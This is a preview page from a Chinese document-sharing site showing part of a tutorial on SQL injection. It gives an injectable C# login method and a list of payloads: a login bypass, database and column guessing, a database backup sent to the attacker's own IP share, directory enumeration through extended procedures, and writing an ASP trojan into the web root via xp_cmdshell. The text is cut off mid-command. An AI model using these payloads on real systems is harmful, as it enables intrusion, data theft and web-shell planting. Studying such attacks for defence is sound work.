SQL注入.docx
上传人:sy****28 上传时间:2024-09-13 格式:DOCX 页数:21 大小:1.8MB 金币:14 举报 版权申诉
预览加载中,请您耐心等待几秒...

免费试读已结束,剩余 11 页请下载文档后查看

14 金币

下载此文档

如果您无法下载资料,请参考说明:

1、部分资料下载需要金币,请确保您的账户上有足够的金币

2、已购买过的文档,再次下载不重复扣费

3、资料包下载后请先用软件解压,在使用对应软件打开

什么是SQL注入(SQLInjection)所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。尝尝SQL注入1.一个简单的登录页面关键代码:(详细见下载的示例代码)HYPERLINK"http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html"\o"?"?123456privateboolNoProtectLogin(stringuserName,stringpassword){intcount=(int)SqlHelper.Instance.ExecuteScalar(string.Format("SELECTCOUNT(*)FROMLoginWHEREUserName='{0}'ANDPassword='{1}'",userName,password));returncount>0?true:false;}方法中userName和password是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin123456)1)输入正常数据,效果如图:合并的SQL为:SELECTCOUNT(*)FROMLoginWHEREUserName='admin'ANDPassword='123456'2)输入注入数据:如图,即用户名为:用户名:admin’—,密码可随便输入合并的SQL为:SELECTCOUNT(*)FROMLoginWHEREUserName='admin'--Password='123'因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上';'(分号,用于结束前一条语句),后边加上'--'(用于注释后边的语句))2.上面是最简单的一种SQL注入,常见的注入语句还有:1)猜测数据库名,备份数据库a)猜测数据库名:anddb_name()>0或系统表master.dbo.sysdatabasesb)备份数据库:;backupdatabase数据库名todisk=‘c:\*.db’;--或:declare@asysname;set@a=db_name();backupdatabase@atodisk='你的IP你的共享目录bak.dat',name='test';--2)猜解字段名称a)猜解法:and(selectcount(字段名)from表名)>0若“字段名”存在,则返回正常b)读取法:and(selecttop1col_name(object_id('表名'),1)fromsysobjects)>0把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。3)遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)先创建一个临时表:;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--a)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中;inserttempexecmaster.dbo.xp_availablemedia;--b)利用xp_subdirs获得子目录列表,并存入temp表中;insertintotemp(id)execmaster.dbo.xp_subdirs'c:\';--c)利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:\';--(实验成功)d)利用bcp命令将表内容导成文件即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’xp_cmdshell’)Execmaster..xp_cmdshellN'BCP"select*fromSchoolMarket.dbo.GoodsStoreData;"queryoutc:/inetpub/wwwroot/runcommand.asp-w-S"localhost"-U"sa"-P"123"'(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)在sql查询器中通过语句:Execm